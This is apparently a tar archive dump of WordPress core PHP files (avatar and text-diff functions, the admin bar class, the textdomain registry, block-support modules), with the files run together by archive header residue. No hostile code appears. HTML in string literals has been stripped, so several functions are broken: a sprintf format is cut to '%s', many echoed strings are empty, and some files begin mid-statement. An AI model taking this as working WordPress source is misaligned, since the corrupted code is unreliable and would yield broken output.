$id_or_email, $args ); if ( ! is_null( $avatar ) ) { /** This filter is documented in wp-includes/pluggable.php */ return apply_filters( 'get_avatar', $avatar, $id_or_email, $args['size'], $args['default'], $args['alt'], $args ); } if ( ! $args['force_display'] && ! get_option( 'show_avatars' ) ) { return false; } $url2x = get_avatar_url( $id_or_email, array_merge( $args, array( 'size' => $args['size'] * 2 ) ) ); $args = get_avatar_data( $id_or_email, $args ); $url = $args['url']; if ( ! $url || is_wp_error( $url ) ) { return false; } $class = array( 'avatar', 'avatar-' . (int) $args['size'], 'photo' ); if ( ! $args['found_avatar'] || $args['force_default'] ) { $class[] = 'avatar-default'; } if ( $args['class'] ) { if ( is_array( $args['class'] ) ) { $class = array_merge( $class, $args['class'] ); } else { $class[] = $args['class']; } } // Add `loading` attribute. $extra_attr = $args['extra_attr']; $loading = $args['loading']; if ( in_array( $loading, array( 'lazy', 'eager' ), true ) && ! preg_match( '/\bloading\s*=/', $extra_attr ) ) { if ( ! empty( $extra_attr ) ) { $extra_attr .= ' '; } $extra_attr .= "loading='{$loading}'"; } $avatar = sprintf( "%s", esc_attr( $args['alt'] ), esc_url( $url ), esc_url( $url2x ) . ' 2x', esc_attr( implode( ' ', $class ) ), (int) $args['height'], (int) $args['width'], $extra_attr ); /** * Filters the HTML for a user's avatar. * * @since 2.5.0 * @since 4.2.0 The `$args` parameter was added. * * @param string $avatar HTML for the user's avatar. * @param mixed $id_or_email The avatar to retrieve. Accepts a user_id, Gravatar MD5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. * @param int $size Square avatar width and height in pixels to retrieve. * @param string $default URL for the default image or a default type. Accepts '404', 'retro', 'monsterid', * 'wavatar', 'indenticon', 'mystery', 'mm', 'mysteryman', 'blank', or 'gravatar_default'. * @param string $alt Alternative text to use in the avatar image tag. * @param array $args Arguments passed to get_avatar_data(), after processing. */ return apply_filters( 'get_avatar', $avatar, $id_or_email, $args['size'], $args['default'], $args['alt'], $args ); } endif; if ( ! function_exists( 'wp_text_diff' ) ) : /** * Displays a human readable HTML representation of the difference between two strings. * * The Diff is available for getting the changes between versions. The output is * HTML, so the primary use is for displaying the changes. If the two strings * are equivalent, then an empty string will be returned. * * @since 2.6.0 * * @see wp_parse_args() Used to change defaults to user defined settings. * @uses Text_Diff * @uses WP_Text_Diff_Renderer_Table * * @param string $left_string "old" (left) version of string * @param string $right_string "new" (right) version of string * @param string|array $args { * Associative array of options to pass to WP_Text_Diff_Renderer_Table(). * * @type string $title Titles the diff in a manner compatible * with the output. Default empty. * @type string $title_left Change the HTML to the left of the title. * Default empty. * @type string $title_right Change the HTML to the right of the title. * Default empty. * @type bool $show_split_view True for split view (two columns), false for * un-split view (single column). Default true. * } * @return string Empty string if strings are equivalent or HTML with differences. */ function wp_text_diff( $left_string, $right_string, $args = null ) { $defaults = array( 'title' => '', 'title_left' => '', 'title_right' => '', 'show_split_view' => true, ); $args = wp_parse_args( $args, $defaults ); if ( ! class_exists( 'WP_Text_Diff_Renderer_Table', false ) ) { require ABSPATH . WPINC . '/wp-diff.php'; } $left_string = normalize_whitespace( $left_string ); $right_string = normalize_whitespace( $right_string ); $left_lines = explode( "\n", $left_string ); $right_lines = explode( "\n", $right_string ); $text_diff = new Text_Diff( $left_lines, $right_lines ); $renderer = new WP_Text_Diff_Renderer_Table( $args ); $diff = $renderer->render( $text_diff ); if ( ! $diff ) { return ''; } $is_split_view = ! empty( $args['show_split_view'] ); $is_split_view_class = $is_split_view ? ' is-split-view' : ''; $r = "\n"; if ( $args['title'] ) { $r .= "\n"; } if ( $args['title_left'] || $args['title_right'] ) { $r .= ''; } if ( $args['title_left'] || $args['title_right'] ) { $th_or_td_left = empty( $args['title_left'] ) ? 'td' : 'th'; $th_or_td_right = empty( $args['title_right'] ) ? 'td' : 'th'; $r .= "\n"; $r .= "\t<$th_or_td_left>$args[title_left]\n"; if ( $is_split_view ) { $r .= "\t<$th_or_td_right>$args[title_right]\n"; } $r .= "\n"; } if ( $args['title_left'] || $args['title_right'] ) { $r .= "\n"; } $r .= "\n$diff\n\n"; $r .= '
    $args[title]
    '; return $r; } endif; class-wp-admin-bar.php000064400000042065147177035020010653 0ustar00menu property.' ); return array(); // Sorry, folks. } } /** * Initializes the admin bar. * * @since 3.1.0 */ public function initialize() { $this->user = new stdClass; if ( is_user_logged_in() ) { /* Populate settings we need for the menu based on the current user. */ $this->user->blogs = get_blogs_of_user( get_current_user_id() ); if ( is_multisite() ) { $this->user->active_blog = get_active_blog_for_user( get_current_user_id() ); $this->user->domain = empty( $this->user->active_blog ) ? user_admin_url() : trailingslashit( get_home_url( $this->user->active_blog->blog_id ) ); $this->user->account_domain = $this->user->domain; } else { $this->user->active_blog = $this->user->blogs[ get_current_blog_id() ]; $this->user->domain = trailingslashit( home_url() ); $this->user->account_domain = $this->user->domain; } } add_action( 'wp_head', 'wp_admin_bar_header' ); add_action( 'admin_head', 'wp_admin_bar_header' ); if ( current_theme_supports( 'admin-bar' ) ) { /** * To remove the default padding styles from WordPress for the Toolbar, use the following code: * add_theme_support( 'admin-bar', array( 'callback' => '__return_false' ) ); */ $admin_bar_args = get_theme_support( 'admin-bar' ); $header_callback = $admin_bar_args[0]['callback']; } if ( empty( $header_callback ) ) { $header_callback = '_admin_bar_bump_cb'; } add_action( 'wp_head', $header_callback ); wp_enqueue_script( 'admin-bar' ); wp_enqueue_style( 'admin-bar' ); /** * Fires after WP_Admin_Bar is initialized. * * @since 3.1.0 */ do_action( 'admin_bar_init' ); } /** * Adds a node (menu item) to the admin bar menu. * * @since 3.3.0 * * @param array $node The attributes that define the node. */ public function add_menu( $node ) { $this->add_node( $node ); } /** * Removes a node from the admin bar. * * @since 3.1.0 * * @param string $id The menu slug to remove. */ public function remove_menu( $id ) { $this->remove_node( $id ); } /** * Adds a node to the menu. * * @since 3.1.0 * @since 4.5.0 Added the ability to pass 'lang' and 'dir' meta data. * * @param array $args { * Arguments for adding a node. * * @type string $id ID of the item. * @type string $title Title of the node. * @type string $parent Optional. ID of the parent node. * @type string $href Optional. Link for the item. * @type bool $group Optional. Whether or not the node is a group. Default false. * @type array $meta Meta data including the following keys: 'html', 'class', 'rel', 'lang', 'dir', * 'onclick', 'target', 'title', 'tabindex'. Default empty. * } */ public function add_node( $args ) { // Shim for old method signature: add_node( $parent_id, $menu_obj, $args ). if ( func_num_args() >= 3 && is_string( $args ) ) { $args = array_merge( array( 'parent' => $args ), func_get_arg( 2 ) ); } if ( is_object( $args ) ) { $args = get_object_vars( $args ); } // Ensure we have a valid title. if ( empty( $args['id'] ) ) { if ( empty( $args['title'] ) ) { return; } _doing_it_wrong( __METHOD__, __( 'The menu ID should not be empty.' ), '3.3.0' ); // Deprecated: Generate an ID from the title. $args['id'] = esc_attr( sanitize_title( trim( $args['title'] ) ) ); } $defaults = array( 'id' => false, 'title' => false, 'parent' => false, 'href' => false, 'group' => false, 'meta' => array(), ); // If the node already exists, keep any data that isn't provided. $maybe_defaults = $this->get_node( $args['id'] ); if ( $maybe_defaults ) { $defaults = get_object_vars( $maybe_defaults ); } // Do the same for 'meta' items. if ( ! empty( $defaults['meta'] ) && ! empty( $args['meta'] ) ) { $args['meta'] = wp_parse_args( $args['meta'], $defaults['meta'] ); } $args = wp_parse_args( $args, $defaults ); $back_compat_parents = array( 'my-account-with-avatar' => array( 'my-account', '3.3' ), 'my-blogs' => array( 'my-sites', '3.3' ), ); if ( isset( $back_compat_parents[ $args['parent'] ] ) ) { list( $new_parent, $version ) = $back_compat_parents[ $args['parent'] ]; _deprecated_argument( __METHOD__, $version, sprintf( 'Use %s as the parent for the %s admin bar node instead of %s.', $new_parent, $args['id'], $args['parent'] ) ); $args['parent'] = $new_parent; } $this->_set_node( $args ); } /** * @since 3.3.0 * * @param array $args */ final protected function _set_node( $args ) { $this->nodes[ $args['id'] ] = (object) $args; } /** * Gets a node. * * @since 3.3.0 * * @param string $id * @return object|void Node. */ final public function get_node( $id ) { $node = $this->_get_node( $id ); if ( $node ) { return clone $node; } } /** * @since 3.3.0 * * @param string $id * @return object|void */ final protected function _get_node( $id ) { if ( $this->bound ) { return; } if ( empty( $id ) ) { $id = 'root'; } if ( isset( $this->nodes[ $id ] ) ) { return $this->nodes[ $id ]; } } /** * @since 3.3.0 * * @return array|void */ final public function get_nodes() { $nodes = $this->_get_nodes(); if ( ! $nodes ) { return; } foreach ( $nodes as &$node ) { $node = clone $node; } return $nodes; } /** * @since 3.3.0 * * @return array|void */ final protected function _get_nodes() { if ( $this->bound ) { return; } return $this->nodes; } /** * Adds a group to a toolbar menu node. * * Groups can be used to organize toolbar items into distinct sections of a toolbar menu. * * @since 3.3.0 * * @param array $args { * Array of arguments for adding a group. * * @type string $id ID of the item. * @type string $parent Optional. ID of the parent node. Default 'root'. * @type array $meta Meta data for the group including the following keys: * 'class', 'onclick', 'target', and 'title'. * } */ final public function add_group( $args ) { $args['group'] = true; $this->add_node( $args ); } /** * Remove a node. * * @since 3.1.0 * * @param string $id The ID of the item. */ public function remove_node( $id ) { $this->_unset_node( $id ); } /** * @since 3.3.0 * * @param string $id */ final protected function _unset_node( $id ) { unset( $this->nodes[ $id ] ); } /** * @since 3.1.0 */ public function render() { $root = $this->_bind(); if ( $root ) { $this->_render( $root ); } } /** * @since 3.3.0 * * @return object|void */ final protected function _bind() { if ( $this->bound ) { return; } // Add the root node. // Clear it first, just in case. Don't mess with The Root. $this->remove_node( 'root' ); $this->add_node( array( 'id' => 'root', 'group' => false, ) ); // Normalize nodes: define internal 'children' and 'type' properties. foreach ( $this->_get_nodes() as $node ) { $node->children = array(); $node->type = ( $node->group ) ? 'group' : 'item'; unset( $node->group ); // The Root wants your orphans. No lonely items allowed. if ( ! $node->parent ) { $node->parent = 'root'; } } foreach ( $this->_get_nodes() as $node ) { if ( 'root' === $node->id ) { continue; } // Fetch the parent node. If it isn't registered, ignore the node. $parent = $this->_get_node( $node->parent ); if ( ! $parent ) { continue; } // Generate the group class (we distinguish between top level and other level groups). $group_class = ( 'root' === $node->parent ) ? 'ab-top-menu' : 'ab-submenu'; if ( 'group' === $node->type ) { if ( empty( $node->meta['class'] ) ) { $node->meta['class'] = $group_class; } else { $node->meta['class'] .= ' ' . $group_class; } } // Items in items aren't allowed. Wrap nested items in 'default' groups. if ( 'item' === $parent->type && 'item' === $node->type ) { $default_id = $parent->id . '-default'; $default = $this->_get_node( $default_id ); // The default group is added here to allow groups that are // added before standard menu items to render first. if ( ! $default ) { // Use _set_node because add_node can be overloaded. // Make sure to specify default settings for all properties. $this->_set_node( array( 'id' => $default_id, 'parent' => $parent->id, 'type' => 'group', 'children' => array(), 'meta' => array( 'class' => $group_class, ), 'title' => false, 'href' => false, ) ); $default = $this->_get_node( $default_id ); $parent->children[] = $default; } $parent = $default; // Groups in groups aren't allowed. Add a special 'container' node. // The container will invisibly wrap both groups. } elseif ( 'group' === $parent->type && 'group' === $node->type ) { $container_id = $parent->id . '-container'; $container = $this->_get_node( $container_id ); // We need to create a container for this group, life is sad. if ( ! $container ) { // Use _set_node because add_node can be overloaded. // Make sure to specify default settings for all properties. $this->_set_node( array( 'id' => $container_id, 'type' => 'container', 'children' => array( $parent ), 'parent' => false, 'title' => false, 'href' => false, 'meta' => array(), ) ); $container = $this->_get_node( $container_id ); // Link the container node if a grandparent node exists. $grandparent = $this->_get_node( $parent->parent ); if ( $grandparent ) { $container->parent = $grandparent->id; $index = array_search( $parent, $grandparent->children, true ); if ( false === $index ) { $grandparent->children[] = $container; } else { array_splice( $grandparent->children, $index, 1, array( $container ) ); } } $parent->parent = $container->id; } $parent = $container; } // Update the parent ID (it might have changed). $node->parent = $parent->id; // Add the node to the tree. $parent->children[] = $node; } $root = $this->_get_node( 'root' ); $this->bound = true; return $root; } /** * @since 3.3.0 * * @param object $root */ final protected function _render( $root ) { // Add browser classes. // We have to do this here since admin bar shows on the front end. $class = 'nojq nojs'; if ( wp_is_mobile() ) { $class .= ' mobile'; } ?>
    type || empty( $node->children ) ) { return; } echo '
    '; foreach ( $node->children as $group ) { $this->_render_group( $group ); } echo '
    '; } /** * @since 3.3.0 * * @param object $node */ final protected function _render_group( $node ) { if ( 'container' === $node->type ) { $this->_render_container( $node ); return; } if ( 'group' !== $node->type || empty( $node->children ) ) { return; } if ( ! empty( $node->meta['class'] ) ) { $class = ' class="' . esc_attr( trim( $node->meta['class'] ) ) . '"'; } else { $class = ''; } echo "
      id ) . "'$class>"; foreach ( $node->children as $item ) { $this->_render_item( $item ); } echo '
    '; } /** * @since 3.3.0 * * @param object $node */ final protected function _render_item( $node ) { if ( 'item' !== $node->type ) { return; } $is_parent = ! empty( $node->children ); $has_link = ! empty( $node->href ); $is_root_top_item = 'root-default' === $node->parent; $is_top_secondary_item = 'top-secondary' === $node->parent; // Allow only numeric values, then casted to integers, and allow a tabindex value of `0` for a11y. $tabindex = ( isset( $node->meta['tabindex'] ) && is_numeric( $node->meta['tabindex'] ) ) ? (int) $node->meta['tabindex'] : ''; $aria_attributes = ( '' !== $tabindex ) ? ' tabindex="' . $tabindex . '"' : ''; $menuclass = ''; $arrow = ''; if ( $is_parent ) { $menuclass = 'menupop '; $aria_attributes .= ' aria-haspopup="true"'; } if ( ! empty( $node->meta['class'] ) ) { $menuclass .= $node->meta['class']; } // Print the arrow icon for the menu children with children. if ( ! $is_root_top_item && ! $is_top_secondary_item && $is_parent ) { $arrow = ''; } if ( $menuclass ) { $menuclass = ' class="' . esc_attr( trim( $menuclass ) ) . '"'; } echo "
  • id ) . "'$menuclass>"; if ( $has_link ) { $attributes = array( 'onclick', 'target', 'title', 'rel', 'lang', 'dir' ); echo "meta[ $attribute ] ) ) { continue; } if ( 'onclick' === $attribute ) { echo " $attribute='" . esc_js( $node->meta[ $attribute ] ) . "'"; } else { echo " $attribute='" . esc_attr( $node->meta[ $attribute ] ) . "'"; } } echo ">{$arrow}{$node->title}"; if ( $has_link ) { echo ''; } else { echo ''; } if ( $is_parent ) { echo '
    '; foreach ( $node->children as $group ) { $this->_render_group( $group ); } echo '
    '; } if ( ! empty( $node->meta['html'] ) ) { echo $node->meta['html']; } echo '
  • '; } /** * Renders toolbar items recursively. * * @since 3.1.0 * @deprecated 3.3.0 Use WP_Admin_Bar::_render_item() or WP_Admin_bar::render() instead. * @see WP_Admin_Bar::_render_item() * @see WP_Admin_Bar::render() * * @param string $id Unused. * @param object $node */ public function recursive_render( $id, $node ) { _deprecated_function( __METHOD__, '3.3.0', 'WP_Admin_bar::render(), WP_Admin_Bar::_render_item()' ); $this->_render_item( $node ); } /** * Adds menus to the admin bar. * * @since 3.1.0 */ public function add_menus() { // User-related, aligned right. add_action( 'admin_bar_menu', 'wp_admin_bar_my_account_menu', 0 ); add_action( 'admin_bar_menu', 'wp_admin_bar_search_menu', 4 ); add_action( 'admin_bar_menu', 'wp_admin_bar_my_account_item', 7 ); add_action( 'admin_bar_menu', 'wp_admin_bar_recovery_mode_menu', 8 ); // Site-related. add_action( 'admin_bar_menu', 'wp_admin_bar_sidebar_toggle', 0 ); add_action( 'admin_bar_menu', 'wp_admin_bar_wp_menu', 10 ); add_action( 'admin_bar_menu', 'wp_admin_bar_my_sites_menu', 20 ); add_action( 'admin_bar_menu', 'wp_admin_bar_site_menu', 30 ); add_action( 'admin_bar_menu', 'wp_admin_bar_edit_site_menu', 40 ); add_action( 'admin_bar_menu', 'wp_admin_bar_customize_menu', 40 ); add_action( 'admin_bar_menu', 'wp_admin_bar_updates_menu', 50 ); // Content-related. if ( ! is_network_admin() && ! is_user_admin() ) { add_action( 'admin_bar_menu', 'wp_admin_bar_comments_menu', 60 ); add_action( 'admin_bar_menu', 'wp_admin_bar_new_content_menu', 70 ); } add_action( 'admin_bar_menu', 'wp_admin_bar_edit_menu', 80 ); add_action( 'admin_bar_menu', 'wp_admin_bar_add_secondary_groups', 200 ); /** * Fires after menus are added to the menu bar. * * @since 3.1.0 */ do_action( 'add_admin_bar_menus' ); } } class-wp-textdomain-registry.php000064400000023737147177035020013050 0ustar00all[ $domain ][ $locale ] ?? $this->get_path_from_lang_dir( $domain, $locale ); /** * Filters the determined languages directory path for a specific domain and locale. * * @since 6.6.0 * * @param string|false $path Languages directory path for the given domain and locale. * @param string $domain Text domain. * @param string $locale Locale. */ return apply_filters( 'lang_dir_for_domain', $path, $domain, $locale ); } /** * Determines whether any MO file paths are available for the domain. * * This is the case if a path has been set for the current locale, * or if there is no information stored yet, in which case * {@see _load_textdomain_just_in_time()} will fetch the information first. * * @since 6.1.0 * * @param string $domain Text domain. * @return bool Whether any MO file paths are available for the domain. */ public function has( $domain ) { return ( isset( $this->current[ $domain ] ) || empty( $this->all[ $domain ] ) || in_array( $domain, $this->domains_with_translations, true ) ); } /** * Sets the language directory path for a specific domain and locale. * * Also sets the 'current' property for direct access * to the path for the current (most recent) locale. * * @since 6.1.0 * * @param string $domain Text domain. * @param string $locale Locale. * @param string|false $path Language directory path or false if there is none available. */ public function set( $domain, $locale, $path ) { $this->all[ $domain ][ $locale ] = $path ? rtrim( $path, '/' ) . '/' : false; $this->current[ $domain ] = $this->all[ $domain ][ $locale ]; } /** * Sets the custom path to the plugin's/theme's languages directory. * * Used by {@see load_plugin_textdomain()} and {@see load_theme_textdomain()}. * * @since 6.1.0 * * @param string $domain Text domain. * @param string $path Language directory path. */ public function set_custom_path( $domain, $path ) { $this->custom_paths[ $domain ] = rtrim( $path, '/' ); } /** * Retrieves translation files from the specified path. * * Allows early retrieval through the {@see 'pre_get_mo_files_from_path'} filter to optimize * performance, especially in directories with many files. * * @since 6.5.0 * * @param string $path The directory path to search for translation files. * @return array Array of translation file paths. Can contain .mo and .l10n.php files. */ public function get_language_files_from_path( $path ) { $path = rtrim( $path, '/' ) . '/'; /** * Filters the translation files retrieved from a specified path before the actual lookup. * * Returning a non-null value from the filter will effectively short-circuit * the MO files lookup, returning that value instead. * * This can be useful in situations where the directory contains a large number of files * and the default glob() function becomes expensive in terms of performance. * * @since 6.5.0 * * @param null|array $files List of translation files. Default null. * @param string $path The path from which translation files are being fetched. */ $files = apply_filters( 'pre_get_language_files_from_path', null, $path ); if ( null !== $files ) { return $files; } $cache_key = md5( $path ); $files = wp_cache_get( $cache_key, 'translation_files' ); if ( false === $files ) { $files = glob( $path . '*.mo' ); if ( false === $files ) { $files = array(); } $php_files = glob( $path . '*.l10n.php' ); if ( is_array( $php_files ) ) { $files = array_merge( $files, $php_files ); } wp_cache_set( $cache_key, $files, 'translation_files', HOUR_IN_SECONDS ); } return $files; } /** * Invalidate the cache for .mo files. * * This function deletes the cache entries related to .mo files when triggered * by specific actions, such as the completion of an upgrade process. * * @since 6.5.0 * * @param WP_Upgrader $upgrader Unused. WP_Upgrader instance. In other contexts this might be a * Theme_Upgrader, Plugin_Upgrader, Core_Upgrade, or Language_Pack_Upgrader instance. * @param array $hook_extra { * Array of bulk item update data. * * @type string $action Type of action. Default 'update'. * @type string $type Type of update process. Accepts 'plugin', 'theme', 'translation', or 'core'. * @type bool $bulk Whether the update process is a bulk update. Default true. * @type array $plugins Array of the basename paths of the plugins' main files. * @type array $themes The theme slugs. * @type array $translations { * Array of translations update data. * * @type string $language The locale the translation is for. * @type string $type Type of translation. Accepts 'plugin', 'theme', or 'core'. * @type string $slug Text domain the translation is for. The slug of a theme/plugin or * 'default' for core translations. * @type string $version The version of a theme, plugin, or core. * } * } */ public function invalidate_mo_files_cache( $upgrader, $hook_extra ) { if ( ! isset( $hook_extra['type'] ) || 'translation' !== $hook_extra['type'] || array() === $hook_extra['translations'] ) { return; } $translation_types = array_unique( wp_list_pluck( $hook_extra['translations'], 'type' ) ); foreach ( $translation_types as $type ) { switch ( $type ) { case 'plugin': wp_cache_delete( md5( WP_LANG_DIR . '/plugins/' ), 'translation_files' ); break; case 'theme': wp_cache_delete( md5( WP_LANG_DIR . '/themes/' ), 'translation_files' ); break; default: wp_cache_delete( md5( WP_LANG_DIR . '/' ), 'translation_files' ); break; } } } /** * Returns possible language directory paths for a given text domain. * * @since 6.2.0 * * @param string $domain Text domain. * @return string[] Array of language directory paths. */ private function get_paths_for_domain( $domain ) { $locations = array( WP_LANG_DIR . '/plugins', WP_LANG_DIR . '/themes', ); if ( isset( $this->custom_paths[ $domain ] ) ) { $locations[] = $this->custom_paths[ $domain ]; } return $locations; } /** * Gets the path to the language directory for the current domain and locale. * * Checks the plugins and themes language directories as well as any * custom directory set via {@see load_plugin_textdomain()} or {@see load_theme_textdomain()}. * * @since 6.1.0 * * @see _get_path_to_translation_from_lang_dir() * * @param string $domain Text domain. * @param string $locale Locale. * @return string|false Language directory path or false if there is none available. */ private function get_path_from_lang_dir( $domain, $locale ) { $locations = $this->get_paths_for_domain( $domain ); $found_location = false; foreach ( $locations as $location ) { $files = $this->get_language_files_from_path( $location ); $mo_path = "$location/$domain-$locale.mo"; $php_path = "$location/$domain-$locale.l10n.php"; foreach ( $files as $file_path ) { if ( ! in_array( $domain, $this->domains_with_translations, true ) && str_starts_with( str_replace( "$location/", '', $file_path ), "$domain-" ) ) { $this->domains_with_translations[] = $domain; } if ( $file_path === $mo_path || $file_path === $php_path ) { $found_location = rtrim( $location, '/' ) . '/'; break 2; } } } if ( $found_location ) { $this->set( $domain, $locale, $found_location ); return $found_location; } /* * If no path is found for the given locale and a custom path has been set * using load_plugin_textdomain/load_theme_textdomain, use that one. */ if ( 'en_US' !== $locale && isset( $this->custom_paths[ $domain ] ) ) { $fallback_location = rtrim( $this->custom_paths[ $domain ], '/' ) . '/'; $this->set( $domain, $locale, $fallback_location ); return $fallback_location; } $this->set( $domain, $locale, false ); return false; } } block-supports/dimensions.php000064400000004154147177035020012426 0ustar00attributes ) { $block_type->attributes = array(); } // Check for existing style attribute definition e.g. from block.json. if ( array_key_exists( 'style', $block_type->attributes ) ) { return; } $has_dimensions_support = block_has_support( $block_type, array( '__experimentalDimensions' ), false ); // Future block supports such as height & width will be added here. if ( $has_dimensions_support ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Adds CSS classes for block dimensions to the incoming attributes array. * This will be applied to the block markup in the front-end. * * @since 5.9.0 * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * @return array Block dimensions CSS classes and inline styles. */ function wp_apply_dimensions_support( $block_type, $block_attributes ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable if ( wp_should_skip_block_supports_serialization( $block_type, '__experimentalDimensions' ) ) { return array(); } $styles = array(); // Height support to be added in near future. // Width support to be added in near future. return empty( $styles ) ? array() : array( 'style' => implode( ' ', $styles ) ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'dimensions', array( 'register_attribute' => 'wp_register_dimensions_support', 'apply' => 'wp_apply_dimensions_support', ) ); block-supports/custom-classname.php000064400000003234147177035020013532 0ustar00attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'className', $block_type->attributes ) ) { $block_type->attributes['className'] = array( 'type' => 'string', ); } } } /** * Add the custom classnames to the output. * * @since 5.6.0 * @access private * * @param WP_Block_Type $block_type Block Type. * @param array $block_attributes Block attributes. * * @return array Block CSS classes and inline styles. */ function wp_apply_custom_classname_support( $block_type, $block_attributes ) { $has_custom_classname_support = block_has_support( $block_type, array( 'customClassName' ), true ); $attributes = array(); if ( $has_custom_classname_support ) { $has_custom_classnames = array_key_exists( 'className', $block_attributes ); if ( $has_custom_classnames ) { $attributes['class'] = $block_attributes['className']; } } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'custom-classname', array( 'register_attribute' => 'wp_register_custom_classname_support', 'apply' => 'wp_apply_custom_classname_support', ) ); block-supports/border.php000064400000013410147177035020011526 0ustar00attributes ) { $block_type->attributes = array(); } if ( $has_border_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } if ( $has_border_color_support && ! array_key_exists( 'borderColor', $block_type->attributes ) ) { $block_type->attributes['borderColor'] = array( 'type' => 'string', ); } } /** * Adds CSS classes and inline styles for border styles to the incoming * attributes array. This will be applied to the block markup in the front-end. * * @since 5.8.0 * @access private * * @param WP_Block_Type $block_type Block type. * @param array $block_attributes Block attributes. * @return array Border CSS classes and inline styles. */ function wp_apply_border_support( $block_type, $block_attributes ) { if ( wp_should_skip_block_supports_serialization( $block_type, 'border' ) ) { return array(); } $classes = array(); $styles = array(); // Border radius. if ( wp_has_border_feature_support( $block_type, 'radius' ) && isset( $block_attributes['style']['border']['radius'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'radius' ) ) { $border_radius = $block_attributes['style']['border']['radius']; if ( is_array( $border_radius ) ) { // We have individual border radius corner values. foreach ( $border_radius as $key => $radius ) { // Convert CamelCase corner name to kebab-case. $corner = strtolower( preg_replace( '/(?supports, array( '__experimentalBorder' ), $default_value ) ) ) { return true; } // Check if the specific feature has been opted into individually // via nested flag under `__experimentalBorder`. return block_has_support( $block_type, array( '__experimentalBorder', $feature ), $default_value ); } // Register the block support. WP_Block_Supports::get_instance()->register( 'border', array( 'register_attribute' => 'wp_register_border_support', 'apply' => 'wp_apply_border_support', ) ); block-supports/position.php000064400000010361147177035020012117 0ustar00attributes ) { $block_type->attributes = array(); } if ( $has_position_support && ! array_key_exists( 'style', $block_type->attributes ) ) { $block_type->attributes['style'] = array( 'type' => 'object', ); } } /** * Renders position styles to the block wrapper. * * @since 6.2.0 * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_position_support( $block_content, $block ) { $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $has_position_support = block_has_support( $block_type, 'position', false ); if ( ! $has_position_support || empty( $block['attrs']['style']['position'] ) ) { return $block_content; } $global_settings = wp_get_global_settings(); $theme_has_sticky_support = isset( $global_settings['position']['sticky'] ) ? $global_settings['position']['sticky'] : false; $theme_has_fixed_support = isset( $global_settings['position']['fixed'] ) ? $global_settings['position']['fixed'] : false; // Only allow output for position types that the theme supports. $allowed_position_types = array(); if ( true === $theme_has_sticky_support ) { $allowed_position_types[] = 'sticky'; } if ( true === $theme_has_fixed_support ) { $allowed_position_types[] = 'fixed'; } $style_attribute = isset( $block['attrs']['style'] ) ? $block['attrs']['style'] : null; $class_name = wp_unique_id( 'wp-container-' ); $selector = ".$class_name"; $position_styles = array(); $position_type = isset( $style_attribute['position']['type'] ) ? $style_attribute['position']['type'] : ''; $wrapper_classes = array(); if ( in_array( $position_type, $allowed_position_types, true ) ) { $wrapper_classes[] = $class_name; $wrapper_classes[] = 'is-position-' . $position_type; $sides = array( 'top', 'right', 'bottom', 'left' ); foreach ( $sides as $side ) { $side_value = isset( $style_attribute['position'][ $side ] ) ? $style_attribute['position'][ $side ] : null; if ( null !== $side_value ) { /* * For fixed or sticky top positions, * ensure the value includes an offset for the logged in admin bar. */ if ( 'top' === $side && ( 'fixed' === $position_type || 'sticky' === $position_type ) ) { // Ensure 0 values can be used in `calc()` calculations. if ( '0' === $side_value || 0 === $side_value ) { $side_value = '0px'; } // Ensure current side value also factors in the height of the logged in admin bar. $side_value = "calc($side_value + var(--wp-admin--admin-bar--position-offset, 0px))"; } $position_styles[] = array( 'selector' => $selector, 'declarations' => array( $side => $side_value, ), ); } } $position_styles[] = array( 'selector' => $selector, 'declarations' => array( 'position' => $position_type, 'z-index' => '10', ), ); } if ( ! empty( $position_styles ) ) { /* * Add to the style engine store to enqueue and render position styles. */ wp_style_engine_get_stylesheet_from_css_rules( $position_styles, array( 'context' => 'block-supports', 'prettify' => false, ) ); // Inject class name to block container markup. $content = new WP_HTML_Tag_Processor( $block_content ); $content->next_tag(); foreach ( $wrapper_classes as $class ) { $content->add_class( $class ); } return (string) $content; } return $block_content; } // Register the block support. WP_Block_Supports::get_instance()->register( 'position', array( 'register_attribute' => 'wp_register_position_support', ) ); add_filter( 'render_block', 'wp_render_position_support', 10, 2 ); block-supports/settings.php000064400000011025147177035020012111 0ustar00get_registered( $block['blockName'] ); if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) { return $block_content; } // return early if no settings are found on the block attributes. $block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null; if ( empty( $block_settings ) ) { return $block_content; } // Like the layout hook this assumes the hook only applies to blocks with a single wrapper. // Add the class name to the first element, presuming it's the wrapper, if it exists. $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $tags->add_class( _wp_get_presets_class_name( $block ) ); } return $tags->get_updated_html(); } /** * Render the block level presets stylesheet. * * @internal * * @since 6.2.0 * @since 6.3.0 Updated preset styles to use Selectors API. * @access private * * @param string|null $pre_render The pre-rendered content. Default null. * @param array $block The block being rendered. * * @return null */ function _wp_add_block_level_preset_styles( $pre_render, $block ) { // Return early if the block has not support for descendent block styles. $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); if ( ! block_has_support( $block_type, '__experimentalSettings', false ) ) { return null; } // return early if no settings are found on the block attributes. $block_settings = isset( $block['attrs']['settings'] ) ? $block['attrs']['settings'] : null; if ( empty( $block_settings ) ) { return null; } $class_name = '.' . _wp_get_presets_class_name( $block ); // the root selector for preset variables needs to target every possible block selector // in order for the general setting to override any bock specific setting of a parent block or // the site root. $variables_root_selector = '*,[class*="wp-block"]'; $registry = WP_Block_Type_Registry::get_instance(); $blocks = $registry->get_all_registered(); foreach ( $blocks as $block_type ) { /* * We only want to append selectors for blocks using custom selectors * i.e. not `wp-block-`. */ $has_custom_selector = ( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) || ( isset( $block_type->selectors['root'] ) && is_string( $block_type->selectors['root'] ) ); if ( $has_custom_selector ) { 